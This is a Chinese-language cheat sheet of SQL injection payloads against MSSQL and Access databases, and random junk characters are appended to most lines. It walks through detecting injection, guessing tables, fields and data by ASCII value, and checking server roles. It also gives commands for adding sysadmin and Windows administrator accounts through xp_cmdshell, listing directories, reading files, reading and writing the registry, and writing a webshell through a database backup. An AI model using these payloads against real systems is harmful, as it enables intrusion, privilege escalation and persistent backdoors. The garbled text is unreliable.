1.判断是否有注入;and 1=1 ;and 1=2 bJ,=yB+0
2.初步判断是否是mssql ;and user>0 <R~~yW:H
eVCkPv*
3.注入参数是字符'and [查询条件] and ''=' ?;KJ
(@Va
6B;_uIq5
4.搜索时没过滤参数的'and [查询条件] and '%25'=' P=sK+}5`q
PM@s}(
5.判断数据库系统 <1g 1hqK3
E-U;8cOMv
;and (select count(*) from sysobjects)>0 mssql SK c
T
]g-qWSKU
;and (select count(*) from msysobjects)>0 access J|2Hqd
c7nk~K[6
+} ! F(c
z7Rcnr;
6.猜数据库 ;and (select Count(*) from [数据库名])>0 G4exk5
Znl>*e/|
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 q=0{E0@9({
iJaNP%N
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 %}]4Nsd e
i8[Y{a*
9.(1)猜字段的ascii值(access) CTbhwY(/
Tk#&Ux{ZJ
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 agxSb^ 8tF
L^al1T
(2)猜字段的ascii值(mssql) H'h4@S
=3v
1]7X
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 b{|/J <Fe
p:Ld)U *
10.测试权限结构(mssql) :qSi>KCGh
:Ye#NPOI
4FHX#`
f({-j%m
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ]I' xLh`
\PMKmJX0O
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- >
%cWTC
]Y:
W[p
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- %K7EF_%
v/00LR
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- >RqT7n8h
y:[VRLo
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- I^\bS
/2\=sTd
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- NF)\">Ye
ND9>`I5
;and 1=(select IS_MEMBER('db_owner'));-- er7/BE&
09;'z
tG^ ?fc
sd@gEp)L
11.添加mssql和系统的帐户 FQ~ead36C
H-
qP>:
;exec master.dbo.sp_addlogin username;-- E29gnYxu8
;exec master.dbo.sp_password null,username,password;-- H[!Q
Qbt>}?-
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ~Ow23N
rKs WS~U
;exec master.dbo.xp_cmdshell 'net user username password ;s
B:s9M
U W)&Eky
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- FjLv*K[#d
*2C79hi1
;exec master.dbo.xp_cmdshell 'net user username password /add';-- {f-/,g~
ABe^]HlH
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- !2M[
K2o0L5Lke
*9{Wn7pck/
%TTL^@1!b
12.(1)遍历目录 ecI
2]aKi
{2*l :'
;create table dirs(paths varchar(100), id int) iXS-EB/
hsVJ&-#
;insert dirs exec master.dbo.xp_dirtree 'c:\' Sq8Q*
B';>Hk
;and (select top 1 paths from dirs)>0 T2_#[bk*d
Ihq@|s8
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) a;owG/\p
V?z{UZkR
vyOC2c8
`1}?{ud
(2)遍历目录 `iayh
)Gp\_(9fc
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- lLFBop
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 {UC<I.5X
;Owu:}
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 'CAukk|
M9jo<+
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 -/2$P
3b[+m}UWQ
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 D!$ =oK
Vyq<T(5
glX2L~
;Y&?ixx
13.mssql中的存储过程 V42*4hskL
3$y L+%i
xp_regenumvalues 注册表根键, 子键 @`8 B}
C
NITx;iC
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 z'D{:q
Qbpl$L
xp_regread 根键,子键,键值名 Fsj&/:
q
]`H.qV
;exec xp_regread :#htOsP
Qr-J-2s ?B
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
7-g4S]r<
v oS"X
xp_regwrite 根键,子键, 值名, 值类型, 值 GJ_)Cl+5E
~@?-|xLqQ
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 zXU{p\;)\
mXM>6>;y
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 >MY.Fr#.m
17]31
xp_regdeletevalue 根键,子键,值名 ugPI1'f
+Qvgpx >
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 EI+/%.,
4
Wd5Goe:
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 w*P4_=
:%Y
z\d2T%^:g(
VgTI2
2.2a2.I1
14.mssql的backup创建webshell 3C[4!>|
n(xlad
use model :bDn.`KG#
{^MAdC_
create table cmd(str image); i*w-Q=
5T3>fw2G
insert into cmd(str) values (''); t%B!\]
>d
V@9
backup database model to disk='c:\l.asp'; Vzm+Ew
_
h`rjD d
KrG6z#)Uz
.ehvhMuG|
15.mssql内置函数 TaJn2cC^
#$C]0]|
;and (select @@version)>0 获得Windows的版本号 $<mL2$.L~
R+hS;F nh%
;and user_name()='dbo' 判断当前系统的连接用户是不是sa q$'&R